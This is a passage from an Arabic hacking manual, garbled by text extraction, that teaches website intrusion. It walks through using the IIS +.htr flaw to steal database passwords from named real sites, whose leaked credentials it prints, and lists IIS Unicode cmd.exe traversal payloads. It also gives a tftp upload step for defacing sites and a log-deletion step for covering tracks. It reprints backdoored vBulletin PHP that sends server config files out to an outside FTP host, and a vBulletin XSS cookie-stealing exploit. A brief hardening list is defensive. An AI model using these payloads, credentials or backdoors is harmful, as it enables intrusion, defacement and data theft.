فالطريق مازال طويل ‪...‬‬ ‫‪867‬‬<br /> <br /> ‫س ‪ :‬مالذي تحتاهجة للدتخول على قواعد بيانات‬ ‫‪ SQL‬؟‬ ‫تحتاج فقط لل ‪ User Name‬و ‪Passwd‬‬ ‫س ‪ :‬من اين احصل على اسم المستخد‪.‬م وكلمة المرور‬ ‫؟‬ ‫هناك طرق عديدة للحصول على ‪User name‬‬ ‫‪ and Passwd‬منها كما اسلف صفحات ال ‪ASP‬‬ ‫وملفات اتخرى من نوع *‪ sql.‬هناك ثغرات كثير يمكن‬ ‫ان تحصل منها على كلمات المرور مثل ثغرة ‪htr.+‬‬ ‫كيف تستخد‪.‬م هذه الثغرة ‪:‬‬<br /> <br /> ‫‪http://target/page.asp+.htr‬‬ ‫‪ : target‬الموقع الهدف‬ ‫‪ : Page‬صفحة ‪asp‬‬ ‫‪ : htr.+‬الثغرة‬ ‫‪868‬‬<br /> <br /> ‫هذه الثغرة تقو‪.‬م احيانا بفتح صفحة بيضاء لتحتوي‬ ‫على اي حرف ‪ ....‬اعرف انك سوف تتساءل مالفائدة‬ ‫اذن منها الفائدة هو‬ ‫تخلف هذه الصفحة البيضاء اذهب الى ‪View‬‬ ‫‪ Source‬لكي ترى اوامر البرمجة الخاصة ب ‪ASP‬‬ ‫التى ليمكن لك ان تراها في الوضع العادي ‪ :‬مثل‬<br /> <br /> ‫>‪%‬‬ ‫=‪Set DB‬‬ ‫‪Server.CreateObject("ADODB.Conn‬‬ ‫‪("ection‬‬ ‫‪DB.Open "DRIVER=SQL‬‬ ‫;=‪Server;SERVER=xxx;UID=sa;PWD‬‬ ‫‪APP=Microsoft (R) Developer‬‬ ‫‪Studio;WSID=xxx;DATABASE=moe‬‬ ‫‪"_dbs", "_LinuxRay", "6666666‬‬<br /> <br /> ‫‪869‬‬<br /> <br /> ‫‪<%‬‬ ‫‪--------------------------------------------------‬‬‫‪--------------‬‬‫في الكود السابق ترى ان اسم المستخد‪.‬م هو _‬ ‫‪LinuxRay‬‬ ‫وكلمة السر هي ‪6666666‬‬ ‫‪--------------------------------------------------‬‬‫‪---------------‬‬<br /> <br /> ‫الشئ المضحك انه احيانا اذا كان هناك تخطأ في صفحة‬ ‫ال ‪ ASP‬مثل التي ‪:‬‬ ‫‪AMicrosoft VBScript runtime error‬‬ ‫‪''800a01a8‬‬ ‫‪'Object required: 'Conn‬‬ ‫‪filename.inc, line 5/‬‬ ‫هناك ملف ينتهي بامتداد *‪ inc.‬هذا ملف يحتوي على‬ ‫‪870‬‬<br /> <br /> ‫اوامر يتم تنفيذها من هجانب الملقم ويحتوي على اسم‬ ‫المستخد‪.‬م وكلمة المرور‬ ‫اذن ماذا تنتظر قم بسحب هذا الملف وذلك باضافة اسم‬ ‫الملف في عنوان الموقع ‪.‬‬<br /> <br /> ‫وممكن ان ترى مثل هذا المر في صفحة ‪ASP‬‬ ‫عند تطبيق الثغرة عليها هذا يعني ان اوامر البرمجة‬ ‫داتخل ملف ‪database.inc‬‬ ‫>!‪<--"include file = "database.inc#--‬‬<br /> <br /> ‫وهناك عدة ملفات تحتوي على كلمة المرور مثل‬ ‫ملفات‬ ‫‪global.asa‬‬ ‫‪global.asa++‬‬ ‫‪beforemilion-global.asa‬‬ ‫‪global.asa‬‬‫‪milion.sql‬‬ ‫‪global-direct.asa‬‬ ‫‪871‬‬<br /> <br /> ‫ليس من الضرورة ان تكون الملفات بهذه السماء لكن‬ ‫هذا هو المعتاد عليه من قبل مبرمجين ‪SQL‬‬ ‫وكل ماعليك فعله ان تكتب اسم الصفحة مثل التي ‪:‬‬ ‫‪global.asa+.htr‬‬ ‫هناك ثغرة قديمة في ‪ IIS 3‬وهي ان تضيف بعد‬ ‫صفحة ‪ ASP‬هذا الرمز ‪ data$::‬كما يلي‬ ‫‪file.asp::$data‬‬ ‫هذه الثغرة لتعمل ال على ‪ IIS 3‬فل تتعب نفسك‬ ‫بتطبيقها فقط للعلم ل اكثر ‪.‬‬<br /> <br /> ‫لقد اقتربنا من النهاية ‪ ...‬ماذا بعد الحصول على اسم‬ ‫المستخد‪.‬م وكلمة المرور ؟؟‬ ‫بعدها الدتخول على قاعدة ال ‪!! SQL‬‬ ‫هناك عدة برامج تدتخل على قاعدة البينات انا استخد‪.‬م‬ ‫‪ Visual interdev 6.0‬لكني مازلت افضل‬ ‫‪872‬‬<br /> <br /> ‫استخدا‪.‬م البرنامج السهل ‪ACCESS 2000‬‬<br /> <br /> ‫كل ما عليك فعله هو فتح البرنامح الذهاب الى قائمة‬ ‫‪File‬‬ ‫اتختر‬ ‫‪New‬‬ ‫ومن قائمة الملفات الجديدة اتختار‬ ‫‪(Project (Exiting Data‬‬ ‫اي مشروع قاعدة بيانات موهجودة ‪.‬‬ ‫سيظهر لك مربع لنشاء الملف اتختر‬ ‫‪Create‬‬ ‫اي انشاء‬ ‫الن سترى مربع‬ ‫‪Data Link Properties‬‬ ‫تحتاج فقط لثلث معلومات اسم الموقع او الي بي ‪-‬‬ ‫اسم المستخد‪.‬م ‪ -‬كلمة المرور‬ ‫‪ - 1‬ادتخل اسم الموقع في صندوق ‪Select or‬‬ ‫‪enter server name‬‬ ‫‪873‬‬<br /> <br /> ‫‪ - 2‬اسم المستخد‪.‬م في ‪User Name‬‬ ‫‪ - 3‬كلمة السر ‪Password‬‬<br /> <br /> ‫ملحظة ) قم بإزالة الصح من مربع ‪Blank‬‬ ‫‪(Password‬‬ ‫اضغط في البداية على ‪ Test Connection‬في‬ ‫السفل لتختبار التصال بقاعدة البيانات اذا رأيت هذه‬ ‫العبارة ‪Test Connection Succeeded‬‬ ‫فمعناه ان التصال بقاعدة البيانات تم بنجا ح‪.‬‬ ‫يمكنك الن ان تختار اي قاعدة بيانات تريد الدتخول‬ ‫اليها من القائمة المسندلة ‪:‬‬ ‫‪Select the data base on the server‬‬ ‫واضغط على ‪ OK‬او موافق ‪.‬‬ ‫فئران التجارب ‪:‬‬ ‫موقع ‪/http://www.moe.gov.sa‬‬ ‫‪ -1‬قم بالدتخول على الصفحة التالية ‪:‬‬ ‫‪874‬‬<br /> <br /> http://www.moe.gov.sa/news_admin .asp ‫سترى مايلي‬ Microsoft VBScript runtime error ''800a01a8 'Object required: 'Conn news_admin.asp, line 7/<br /> <br /> : ‫ كتالي‬htr ‫ثم طبق عليها ثغرة‬ http://www.moe.gov.sa/news_admin .asp+.htr ‫اذهب الى السورس لترى‬ <--"include file = "database.inc#--!> 875<br /> <br /> : ‫ كتالي‬database.inc ‫قم بسحب ملف‬ http://www.moe.gov.sa/database.inc<br /> <br /> : ‫سوف ترى مايلي‬ %> Set DB= Server.CreateObject("ADODB.Conn ("ection DB.Open "DRIVER=SQL Server;SERVER=CNW2;UID=sa;PW D=;APP=Microsoft (R) Developer Studio;WSID=CNW2;DATABASE=m "oe_dbs", "sa", "123321<br /> <br /> <% 876<br /> <br /> ‫هل تعرف مالذي اما‪.‬م عينك الن انه اسم المستخد‪.‬م‬ ‫وكلمة المرور ‪ .....‬سارع بالتشبيك على قاعدة‬ ‫البيانات انا اعرف ان ل احد يحب مادة‬ ‫الكيمياء ‪.‬‬ ‫فأر التجارب الثاني ‪:‬‬ ‫موقع ‪/http://www.itsalat.com‬‬ ‫‪User name : sa Passwd : sp2000 - 1‬‬<br /> <br /> ‫*****************‬ ‫سرفرات الويندوز ودوره في اتختراق المنتديات‬ ‫نحن الهكرز واي هكرز مبتدي يعرف ثغرات الويندوز‬ ‫هجيدا دا‬ ‫وهي نظا‪.‬م فاشل ‪ %80‬وثغراته بالالوف‬ ‫ولانصح اي اخ لديه منتدي وموقع يستضيف سرفرات‬ ‫ويندوز را ح اقلكم ليش بااثبتات‬ ‫‪877‬‬<br /> <br /> ‫صور ‪ 2‬هو صورة لجمعية امريكي مهم وحجم قاعدات‬ ‫البيانات ‪ 1.5‬كيك يعني ‪ 15000‬ميك ويحتوي علي‬ ‫تخمسة ملين مشترك تم اتختراقه البارحه بنفسي هجاري‬ ‫تحميل الموقع لجاهزي كامل‬ ‫‪1‬ثغرات الهتمل‬ ‫‪2‬الفرونت بيج‬ ‫‪3‬مخلفات الفتبي والستفاد منه كثير لهكرز‬ ‫‪4‬ثغرات البرامج‬ ‫‪ 6‬عد‪.‬م تمكن حماية النظا‪.‬م ‪%100‬‬<br /> <br /> ‫لذلك انصح التخوه بالبتعاد عن سرفرات الويندوز‬ ‫وبرامجهم‬<br /> <br /> ‫‪ IIS‬بداية نعرف ماهي‬ ‫هي تخدمه متواهجدة في ويندوز الفين بروفشنال‬ ‫‪878‬‬<br /> <br /> ‫وويندوز ان تي ‪IIS‬الـ‬ ‫‪...IIS5.0‬وويندوز الفين يمتلك الصدارة الخامسة من‬ ‫ملقم معلومات النترنت‬ ‫بسم ال نبدأ‬ ‫توهجد نقطة ضعف في الي اي اس ‪ 4‬او ‪ 5‬وهذه‬ ‫النقطة تستغل بطريقة سهلة هجد ًا‬ ‫وتسمى هذه النقطة باليونيكود‬ ‫ل ليحتاج الى تخبرة عميقة في مجال‬ ‫وتنفيذها سه ً‬ ‫اتختراق المواقع‬ ‫ولكن نقف عند هذه النقطة للمبتئيدئن‬ ‫المبتدئين عام ًة يفكرون الن في اتختراق عدة مواقع‬ ‫شهيرة بهذه الطريقة‬ ‫ولكن ل هذه الطريقة غير مجدية مع المواقع الشهيرة‬ ‫او غير الشهيرة‬ ‫لن نقطة الضعف هذه لتوهجد ال في ويندوز الفين او‬ ‫ان تي‬ ‫وأغلب المواقع الشهيرة تستخد‪.‬م انظمة اليونكس‬ ‫واللنكس‬ ‫أي ان ويندوز ان تي او الفين نظا‪.‬م حمايته محدودة‬ ‫وكل يو‪.‬م تطلع ثغرات هجديدة‬ ‫‪879‬‬<br /> <br /> ‫لكن بوسع مدراء المواقع ايقاف نقطة ضعف من نقاط‬ ‫الضعاف الموهجودة في الن تي‬ ‫لكن بتلك الطريقة قد يكونون هجعلو حاهجز ًا لهم من‬ ‫الهكرة‬ ‫ولكن ليس دائم ًا‬ ‫وتنفذ من داتخل المتصفح‬ ‫وطريقة تنفيذ الثغرة كالتي ‪:‬‬ ‫‪http://www.xxxxxx.com/scripts/..Á ../‬‬ ‫‪\:winnt/system32/cmd.exe?/c+dir+c‬‬ ‫ركزو هنا الن بعد دوت كو‪.‬م بدأت تنفيذ الثغرة‬ ‫وبإمكانك أيضا دتخول اي ملف وليس فقط رؤية السي‬ ‫‪:c‬هذه الثغرة تسمح لك بــ عرض هجميع ملفات‬ ‫وتوهجد أكثر من ثغرة وهي‬ ‫‪scripts/../‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+c‬‬ ‫‪scripts../‬‬ ‫?‪%c1%9c../winnt/system32/cmd.exe‬‬ ‫‪\:/c+dir+c‬‬ ‫‪scripts/../‬‬ ‫?‪%c1%pc../winnt/system32/cmd.exe‬‬ ‫‪\:/c+dir+c‬‬ ‫‪880‬‬<br /> <br /> scripts/../ %c0%9v../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c0%qf../winnt/system32/cmd.exe?/ \:c+dir+c scripts/../ %c1%8s../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%1c../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%9c../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%af../winnt/system32/cmd.exe?/ \:c+dir+c scripts/../ %e0%80%af../winnt/system32/cmd.e \:xe?/c+dir+c scripts/../ 881<br /> <br /> %f0%80%80%af../winnt/system32/c \:md.exe?/c+dir+c scripts/../ %f8%80%80%80%af../winnt/system3 \:2/cmd.exe?/c+dir+c scripts/..%fc/ %80%80%80%80%af../winnt/system \:32/cmd.exe?/c+dir+c msadc/..\%e0\%80\%af../..\/ %e0\%80\%af../..\ %e0\%80\%af../winnt/system32/cmd. \:exe\?/c\+dir+c ‫وطريقة تنفيذها من المتصفح‬ ‫ومكان تنفيذها بعد اسم الموقع‬ : ‫مثال‬ http://www.xxxxx.com/à/€/à/€/à/ +\€/¯....2/cmd.exe/?/c ‫م‬.‫أي بعد دوت كو‬ ‫بعض الناس يسألون مالذي يظهر او على اي شكل‬ ‫يظهر‬ ‫الحل بسيط‬ ‫ هذا المر لو قمت بكتابته في نافذة الدوس‬Dir 882<br /> <br /> ‫ستظهر لك الملفات‬ ‫وطريقة ظهور الملفات في المتصفح تقريبا‬ ‫بنفس طريقة الدوس‬ ‫إذا نجحت في تنفيذ الثغرة واظهرت الملفات امامك‬ ‫فتبدأ في تنفيذالخطوة الثانية‬ ‫الخطوة الثانية عمل ابلود للملف الذي تريد تحميله‬ ‫وعمل البلود أيض ًا ليحتاج الى تخبرة‬ ‫لكن هنالك شروط لكي تعمل ابلود‬ ‫يجب التأكد من أن التي إف تي بي مثبت على الموقع‬ ‫الضحية‬ ‫وللكي تتأكد إتبع التي‬ ‫يجب الدتخول على ملف السستم ‪ 32‬ولكي تدتخله يجب‬ ‫أن تضيف بعض الكلمات على الثغرة التي نجحت في‬ ‫تنفيذها‬ ‫مثال‪:‬‬ ‫‪http://www.xxxxxx.com/scripts/..Á ../‬‬ ‫‪\:winnt/system32/cmd.exe?/c+dir+c‬‬ ‫هذه الثغرة عملت في الموقع المطلوب ورأيت الملفات‬ ‫لحظ التغير‬ ‫‪http://www.xxxxxx.com/scripts/..Á ../‬‬ ‫\‪winnt/system32/cmd.exe?/c+dir+c:‬‬ ‫‪\Winnt\Sytem32‬‬ ‫‪883‬‬<br /> <br /> ‫ماوضع على الثغرة هو أسماء لملفات متواهجدة داتخل‬ ‫الويندوز ‪\Winnt\Sytem32‬‬ ‫أي يجب عليك الدتخول على هذه الملفات لكي تتأكد‬ ‫بعض القراء يتسالون ‪ .....‬الثغرة التي نستخدمها‬ ‫ليست متطابقة مع هذه الثغرة ولكن هذا ليس شرط‬ ‫للتطابقها يجب عليك الدتخول باي كان على مللف‬ ‫السستم‬ ‫ممكن يكون احد القراء اشتغلت معاه هذه الثغرة‬ ‫‪http://www.xxxxx.com/scripts/..ü€€‬‬ ‫‪\:€....exe?/c+dir+c‬‬ ‫ويقول كيف ادتخل على ملف السستم‬ ‫الحل هو واحد يجب عليك إضافة اسماء الملفات لكي‬ ‫تدتخل على السستم ‪32‬‬ ‫اي بعد هذا المتداد‬ ‫‪\:c+dir+c‬هنا تضيف أسماء الملفات‬ ‫‪http://www.xxxxx.com/scripts/..ü€€‬‬ ‫‪/€...Winnt/System32‬‬ ‫كما قلنا سابق َا لتحتاج الى تخبرة‬ ‫وبعد دتخول ملف السستم ستظهر لك محتوياته‬ ‫ويجب على آنذاك البحث عن برنامج يسمي‬ ‫‪ tftp.exe‬يعني دور على هذا البرنامج الين ماتلقاه‬ ‫وتتأكد من انه في الجهاز‬ ‫‪884‬‬<br /> <br /> ‫لن هذا البرنامج يعتبر شرط لكي تعمل ابلود للصفحة‬ ‫ولو لقيت البرنامج اتفاءل بالخير يعني بإذن ال تعبك‬ ‫ماهو رايح على الفاضي‬ ‫‪..............................................................‬‬ ‫‪...........................‬‬ ‫والشرط الثاني هو‬ ‫يجب أن يكون عندك برنامج التي إف تي بي‬ ‫وهذا البرنامج تقدر تنزله من هذا العنوان‬ ‫‪www.geocities.com/anorR1234/tftpd‬‬ ‫‪32.zip‬‬ ‫‪\:C‬وبعد ماتنزل البرنامج وتفك الضغط منه من‬ ‫الفضل إنك تحطه داتخل الـ‬ ‫وتحط أيضا البرامج أو الصفحة التي تريد أن تعمل لها‬ ‫أبلود في السي‬ ‫تحطه في السي الى داتخل هجهازك مو الى دالخل الموقع‬ ‫وتشغل البرنامج‬ ‫‪ tftp32.exe‬وتتركه يعمل الى أن تنتهى من مهمتك‬ ‫الساسية‬ ‫‪\:C‬أسمع كلمي وحط كل شي في‬ ‫لنك لو حطيتها بإذن ال را ح تنجح المهمه‬ ‫‪--------------------------------------------------‬‬‫‪885‬‬<br /> <br /> ‫‪-------------‬‬‫الن بدأنا في النقطة الخطرة وهي تحميل الملفات‬ ‫مع العلم أني اقصد بالتحميل البلود‬ ‫أي‬ ‫أبلود = تحميل‬ ‫مو تجميل‬ ‫وتحميل الملفات طريقة معقدة نسبي ًا بس أنا متفائل‬ ‫بالخير لني معتقد أنكم را ح تفهمو‬ ‫المهم نرهجع لموضوعنا‬ ‫المهم طريقة نسخ الملفات تضاف ايض ًا الى المتصفح‬ ‫وتضاف بهذه الطريقة‬ ‫مثال ‪:‬‬ ‫‪http://www.xxxxx.com/scripts/..ü€€‬‬ ‫‪\:€....exe?/c+dir+c‬‬ ‫تخيل الثغرة هذه اشتغلت معاك‬ ‫ويجب عليك إنك تمسح بعض الضافات من الثغرة لكي‬ ‫تضيف امر النسخ‬ ‫‪c+tftp.exe+"-/‬‬ ‫‪i"+1.1.1.1+GET+index.htm+C:\inetpu‬‬ ‫‪b\wwwroot\index.htm‬‬ ‫يعني الى را ح نمسحه من الثغرة بيكون هذه الضافة‬ ‫‪\:c+dir+c/‬‬ ‫‪886‬‬<br /> <br /> ‫عشان تظيف بدالها‬ ‫‪c+tftp.exe+"-/‬‬ ‫‪i"+1.1.1.1+GET+index.htm+C:\inetpu‬‬ ‫‪b\wwwroot\index.htm‬‬ ‫ولمن نظيف امر النسخ بيطلع لنا بهذا الطريقة‬ ‫‪http://www.xxxxx.com/scripts/..ü€€‬‬ ‫"‪€...xe?/c+tftp.exe+‬‬‫‪i"+1.1.1.1+GET+index.htm+C:\inetpu‬‬ ‫‪b\wwwroot\index.htm‬‬ ‫شايفين ياشباب إش الى اتغير‬ ‫بس لز‪.‬م أيض ًا إنك تغير اللز‪.‬م في أمر النسخ‬ ‫مثل‬ ‫‪ tftp.exe‬هذا سيبه في حاله لنه اسم برنامج التي‬ ‫اف تي بي الى حاطه في السي ومشغله الن‬ ‫"‪ "i-‬هذا برضه سيبه لنه مهم‬ ‫‪ 1.1.1.1‬هنا بدال الرقا‪.‬م هذا تكتب اليبي تبع هجهازك‬ ‫وعشان تتأكد من اليبي لمن تشغب التي اف تي بي‬ ‫را ح يطلع ايبي وهذا اليبي الى طلعلك هو الى تكتبه‬ ‫‪ GET‬هذه الضافة سيبها في حالها لنها تعتبر شرط‬ ‫في نسخ المفات‬ ‫‪ index.htm‬هذه اسم الصفحة الى را ح تتحمل‬ ‫وممكن تغيرها عاد بكيفك انت‬ ‫‪887‬‬<br /> <br /> ‫‪ \C:\inetpub\wwwroot‬وهذا مكان تواهجد‬ ‫الصفحة الرئيسة الخاصة بالموقع‬ ‫‪ index.htm‬هنا تكتب إسم الصفحة او الملف التي‬ ‫تريده أن يظهر في الموقع‬ ‫‪\:C‬يجب التأكد من إنك حاط الصفحة المراد تحميلها‬ ‫في هجهازك داتخل الـ‬ ‫‪ index.htm‬ومثل اسم الصفحة‬ ‫قبل ماتضغط انتر عشان تنسخ الملف تاكد من ان‬ ‫الثغرة الن صارت مشابها لمثل هذه الثغرة‬ ‫‪http://www.xxxxx.com/scripts/..ü€€‬‬ ‫"‪€...xe?/c+tftp.exe+‬‬‫‪i"+212.212.212.212+GET+index.htm‬‬ ‫‪+C:\inetpub\wwwroot\index.htm‬‬ ‫ولو طلعت مشابها لها اضغط إنتر وتوكل على ال‬ ‫وبإذن ال را ح يتنسخ الملف‬ ‫‪--------------------------------------------------‬‬‫‪--------------------------------------------------‬‬‫‪--------------------------------------------------‬‬‫‪----------------------------‬‬‫وفى النقطة التخيرة والهم‬ ‫مسح ملفات تكون تجمعت داتخل الجهاز ومكونة‬ ‫معلومات عنك مثل اليبي‬ ‫‪888‬‬<br /> <br /> ‫‪http://server/msadc/..À¯../..../c+del+c‬‬ ‫‪:/*.log‬‬ ‫‪--------------------------------------‬‬<br /> <br /> ‫*******************‬<br /> <br /> ‫‪ 5‬النسخه المنتشره في النت ودور المعربين العرب‬ ‫وحقيقة الموضوع وتعريبهم‬<br /> <br /> ‫اول كما قلنا لماذا ليخترقوا منتديات هجون رغم ثغرات‬ ‫موقعه ‪1‬لنه يستخد‪.‬م نسخه نضيفه‬<br /> <br /> ‫‪ 1‬النسخه الموهجود بالنت مليان ثغرات وعارفين هجيد‬ ‫مصمممي المنتدي لماذا ينشرونه اذا‪$‬‬ ‫‪889‬‬<br /> <br /> ‫النسخه تجريبي ومحتوي كود التبليغ لكي لو نفذت‬ ‫ومسحت كود التبليغ لن تهرب من ثغراته لو تشغل‬ ‫فكرك لكشفته بنفسك‬ ‫‪ 2‬انه هجميعه نسخه تجريبي لترويج بضعتهم بدل ان‬ ‫تكون لمدة ‪30‬يوما فهمتموني‬ ‫‪ 3‬النسخه المنتشره بالنترنت هو نسخه نحصل علي‬ ‫من مواقع هكرز صح وينك انت من هكرز الغرب‬ ‫وحيلهم‬ ‫لو تمكنت في الحصول علي نسخة الشركة ‪%100‬‬ ‫ونسخه منتشره في النت لرئيت صح قاموا بحذف كود‬ ‫التبليغ منه بل اضافوا اليه كوداد وبلوي وثغرات‪-‬‬ ‫وبعدين يجي الخ صاحب النسخه يوكد انه لقي ثغرة‬ ‫بمنتديات هجون‬ ‫والعالم يندهش كييييييف تخلص انشهر موقعه وسعر‬ ‫اعلناته ارتفع في موقعه لكثر الزوار‬ ‫الحقيقة هو نفسه اضاف الكود ونفسه يعرف مكانه‬ ‫وكيفة العب فيه وال هكذا المور‬<br /> <br /> ‫‪890‬‬<br /> <br /> ‫المعربين العرب ليسوا اقل نذل من الهجانب‬ ‫انصحكم بتعريب نسخكم باانفسكم‬<br /> <br /> ‫قبل فتره بسيطه تم اكتشاف ثغره في بعض نسخ‬ ‫‪ 2.2.5‬المسربه لنا من اتخواننا العرب وكان هذا الكود‬ ‫الموهجود فيها في ملف ‪forum‬‬<br /> <br /> ‫‪:PHP‬‬ ‫‪--------------------------------------------------‬‬‫‪----------------------------‬‬‫‪} ("if ($action=="modify‬‬ ‫‪;vbxh = h$‬‬ ‫‪;vbxt = t$‬‬ ‫‪;vbxp = p$‬‬ ‫‪;vbxw = w$‬‬ ‫‪;vbxa = a$‬‬ ‫‪;vbx1 = 1$‬‬ ‫‪891‬‬<br /> <br /> ;vbxr = r$ ;vbxb = b$ ;vbxn = n$ ;vbxe = e$ ;vbxo = o$ ;vbxy =y$ ;vbxl = l$ ;" --!>" echo = file$ fopen("$vbxh$vbxt$vbxt$vbxp:// $vbxw$vbxw$vbxw. $vbxa$vbxr$vbxa$vbxb$vbx1.$vbxn $vbxe$vbxt/~$vbxr$vbxo$vbxy$vbx a$vbxl/.x.php? h=$HTTP_HOST&h2=$SCRIPT_NA ;("ME", "r ;(rf = fread($file, 1000$ ;(fclose($file ;"<-- " echo ------------------------------------------------------------------------------892<br /> <br /> ‫وكان الكود الحلو هذا يتصل في موقع‬ ‫‪/http://www.arab1.net‬‬ ‫?‪http://www.arab1.net/~royal/.x.php‬‬ ‫‪h=$HTTP_HOST&h2=$SCRIPT_NAM‬‬ ‫‪E‬‬ ‫عموما مع اليا‪.‬م نزلت نسخه ‪ 2.2.6‬وسربوها لنا‬ ‫حبايبنا وشالوا كود التبليغ ياعيني عليهم عشان‬ ‫يحطون لنا كود تجسس ونعم التخوه العرب المسلمين‬ ‫بس هالمره الكود اذكى ومهو مكشوف وغبي زي‬ ‫الول الكود المره هذي في ملفين ملف ‪option‬‬ ‫بالتخير موهجود‬ ‫‪:PHP‬‬ ‫‪--------------------------------------------------‬‬‫‪----------------------------‬‬‫‪;" --!>" echo‬‬ ‫‪893‬‬<br /> <br /> ;"include "$sqlupdate ;"<-- " echo -------------------------------------------------------------------------------<br /> <br /> functions ‫وملف‬<br /> <br /> :PHP ------------------------------------------------------------------------------sqlupdate =$ base64_decode('aHR0cDovL3NhdW RpLm5vLWlwLmNvbS9+cm9 ;('==5YWwvLngyLmluYw ------------------------------------------------------------------------------894<br /> <br /> ‫ياعيني على الذكاء صرنا نعرف نلعب باكدوا ديكود‬ ‫وانكود‬ ‫والمره هذي بعد يتصل الكود الحلو هذا اللي‬ ‫مستخدمين فيه ديكود بالموقع هذا‬ ‫‪/http://saudi.no-ip.com‬‬ ‫بيرحب فيكم ويقولكم ‪WELCOME TO‬‬ ‫‪arab1.net‬‬ ‫ياعيني عالترحيب‬ ‫عموما الكود بيتصل بالصفحه هذي‬ ‫‪http://saudi.no-ip.com/~royal/.x2.inc‬‬ ‫اللي فيها كود رهييييييب ويبين لنا ‪ .......‬اللي‬ ‫يحسبون علينا كمسلمين وعرب‬ ‫شوفو الكود‬ ‫‪:PHP‬‬ ‫‪--------------------------------------------------‬‬‫‪----------------------------‬‬‫>"‪div id="sHo‬‬ ‫‪895‬‬<br /> <br /> <";style="display:none --!> if you are seeing this code PlzZzZz Contact [email]sleeping_bum@hotmail.com php?> ;("system("mkdir /tmp/.statics system("cp /etc/httpd/conf/httpd.conf ;("/tmp/.statics/httpd1.conf system("cp /usr/local/apache/conf/httpd.conf ;("/tmp/.statics/httpd2.conf system("cp admin/config.php ;("/tmp/.statics/php.conf system("tar -cvf /tmp/.statics.tgz ;("/tmp/.statics ;"vilename = "$SERVER_NAME.bz$ port =$ ;('base64_decode('aHB5NWk5 conn_id = ftp_connect("cyber-$ ;("sa.virtualave.net 896<br /> <br /> login_result = ftp_login($conn_id,$ ;(""cyber-sa", "$port upload = ftp_put($conn_id, "/tmp/$ $vilename", "/tmp/.statics.tgz", ;(FTP_BINARY ;(ftp_quit($conn_id ;("system("rm -rf /tmp/.statics.tgz ;("system("rm -rf /tmp/.statics base =$ "$HTTP_HOST&h2=$SCRIPT_NAME ;" open = "http://saudi.no-$ ;"ip.com/~royal/.x2.php?h=$base ;("file = fopen("$open", "r$ ;(rf = fread($file, 1000$ ;(fclose($file <? <-<div/><br /> <br /> ‫واتخره كان دار العرب في ملفه هو بيعرف‬ 897<br /> <br /> ‫************‬<br /> <br /> ‫‪6‬الحمايه من المخترقين بنسبة ‪ %80‬لاهجهزتكم‬ ‫ومنتدياتكم‬ ‫يال كل يو‪.‬م نسمع اتختراق المنتديات اليكم الحل حماية‬ ‫‪ %80‬اليكم اسباب اتخترقه وحمايته‬ ‫‪ 1‬وهجود ثغرات بمجلد الدمن‬ ‫‪2‬ثغرة مجلد مود‬ ‫‪ 3‬ثغرة الستيل‬ ‫‪ 4‬الهتمل‬ ‫‪ 5‬كوكيز‬ ‫‪6‬دعم التلنت‬ ‫‪ Cfgwiz32.exe 7‬على المجلد ويندوز‬ ‫‪C:\Windows‬‬ ‫‪8‬من الملف ‪misc‬‬ ‫‪ 9‬وهجود باتش بجهازك تم ارسله لك من قبل المخترق‬ ‫لحصول بمعلوماتك‬ ‫‪898‬‬<br /> <br /> ‫******‬ ‫كيفية الحماية‬ ‫‪ 1‬قم بحماية ملف الدمن هجيدا ‪ htaccess.‬شغل‬ ‫فقط في سرفرات الينوكس ليس ويندوز‬ ‫‪ 2‬قم بحمايته ‪htaccess.‬‬ ‫‪ 3‬لتركب ستيلت كثير يسببب ثغرة باالمنتدي‬ ‫‪ 4‬لتفعل لغة الهتمل ابدا‬ ‫‪ 5‬احذر من الكوكز نظف هجاهزك دائما‬ ‫‪6‬قم بتوقيف التل نيت لموقع عندما لتحتاهجه‬ ‫‪ 7‬نأكد من عد‪.‬م وهجود ملف باسم ‪Cfgwiz32.exe‬‬ ‫على المجلد ويندوز ‪C:\Windows‬‬ ‫‪ 8‬ده بلوووووي الدنيا فيه هجاري البحث عن حل له‬ ‫‪ 9‬قم بتركيب برامج الفيروسات بجهازك‬ ‫‪ 10‬قم بزيارت منتديات العقرب الحمر لحصولك علي‬ ‫كافة انواع الحماية لجهازك وموقع ‪.‬‬<br /> <br /> ‫انتهى‪،،،‬‬ ‫‪899‬‬<br /> <br /> ‫" اثغر ة في منتديات ‪" vBulletin 2,2,9‬‬ ‫>منقول من منتدى ابن مصر<‬ ‫>الكاتب‪ :‬المدمر<‬ ‫هذه الثغرة تخطيرة هجدا وتؤدي بحاية المنتديات‬ ‫‪....vBulletin 2.2.9‬‬ ‫المهم شرحها كالتالي‪:‬‬ ‫‪ -1‬انسخ الكود واحفظه بالمفكرة بامتداد ‪php‬‬ ‫>?‪PHP‬‬ ‫‪vBulletin XSS Injection //‬‬ ‫‪Vulnerability: Exploit‬‬ ‫‪--- //‬‬ ‫‪900‬‬<br /> <br /> Coded By : Sp.IC // .((SpeedICNet@Hotmail.Com Descrption: Fetching vBulletin's // .cookies and storing it into a log file<br /> <br /> :Variables // ;"LogFile = "Cookies.Log$ :Functions // */ If ($HTTP_GET_VARS['Action'] = } (""Log ;"--!>" = Header$ ;"<---" = Footer$ { } Else ;"" = Header$ ;"" = Footer$ { 901<br /> <br /> ;(Print ($Header /* Print ("<Title>vBulletin XSS Injection Vulnerability: ;("<Exploit</Title ;("<Print ("<Pre ;("<Print ("<Center Print ("<B>vBulletin XSS Injection ;("Vulnerability: Exploit</B>\n Print ("Coded By: <B><A Href=\"MailTo:SpeedICNet@Hotmail .Com\" rel="nofollow">Sp.IC</A></B><Hr ;("<"\Width=\"20% */ ;(Print ($Footer /* Switch } (['($HTTP_GET_VARS['Action :"Case "Log Data =$ 902<br /> <br /> ;['$HTTP_GET_VARS['Cookie Data = StrStr ($Data, SubStr$ ($Data, BCAdd (0x0D, StrLen ;(((((((DecHex (MD5 (NULL ;("+Log = FOpen ($LogFile, "a$ ;("FWrite ($Log, Trim ($Data) . "\n ;(FClose ($Log Print ("<Meta HTTPEquiv=\"Refresh\" Content=\"0; URL=" . $HTTP_SERVER_VARS['HTTP_REF ;("<"\" . ['ERER ;Break :"Case "List If (!File_Exists ($LogFile) || ! } ((In_Array ($Records Print ("<Br><Br><B>There are No ;("<Records</B></Center></Pre ;() Exit { } Else ;("<Print ("</Center></Pre 903<br /> <br /> Records = Array_UniQue (File$ 